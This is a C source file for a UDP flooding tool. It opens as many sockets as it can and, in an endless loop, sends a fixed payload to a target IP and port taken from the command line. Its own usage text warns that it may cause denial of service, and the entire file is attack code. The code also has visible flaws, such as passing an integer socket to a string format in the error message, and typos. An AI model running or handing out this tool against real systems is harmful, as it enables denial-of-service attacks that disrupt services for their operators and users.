udp_flooder.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <strings.h>

#define REASON_NO_SUCH_PORT 1
#define REASON_RESOURCE_UNAVAILABLE 2
#define REASON_TRANSMIT_QUEUE_FULL 4
#define REASON_MESSAGE_TOO_LONG 8
#define REASON_GENERAL_NETWORK 16
#define SOCK_MAX 65535

static int _sendto(int sock, const char *ip, const unsigned short port, void *message, size_t size) {
  static struct sockaddr_in in;
  int reason = 0;
  int err;
  bzero(&in, sizeof(struct sockaddr_in));
  in.sin_family = AF_INET;
  in.sin_port = htons(port);
  inet_aton(ip, &in.sin_addr);
  if(sendto(sock, message, size, 0, (struct sockaddr *)&in, sizeof(struct sockaddr_in)) == -1) {
    err = errno;
    switch (err) {
      case ECONNREFUSED:  reason = REASON_NO_SUCH_PORT; break;
      case EAGAIN:    reason = REASON_RESOURCE_UNAVAILABLE; break;
      case ENOBUFS:   reason = REASON_TRANSMIT_QUEUE_FULL; break;
      case EMSGSIZE:    reason = REASON_MESSAGE_TOO_LONG; break;
      default:      reason = REASON_GENERAL_NETWORK; break;
    }
  }
  if (reason != 0) {
    printf( "PacketSender::basicSendSingleTry( %s ): "
        "Packet to %s:%d: Could nowot send: %s ;; reason = %d\n",
        sock, ip, port, strerror( err ), reason );
  }
  return reason;
}

static int _socket() {
  return socket(AF_INET, SOCK_DGRAM, 0);
}

int main(int argc, char **argv) {
  int sockets[SOCK_MAX], sock_max = 0, sock;
  if(argc < 3) {
    printf("Usage: %s <ip> <port>\n", *argv);
    printf("Will send as many as can messages from various sockets to the target system\n");
    printf("Cauton: may cause to DoS\n");
    return 0;
  }
  while((sock = _socket()) != -1 && sock_max < SOCK_MAX) {
    sockets[sock_max++] = sock;
  }
  printf("Created %d sockets\n", sock_max);
  // TODO: generate payload
  // static now - i'm lazy
  while(1) {
    for(int i = 0; i < sock_max; i++) {
      _sendto(sockets[i], argv[1], (unsigned short)atoi(argv[2]), "SomePayload", 11);
    }
  }
  return 0;
}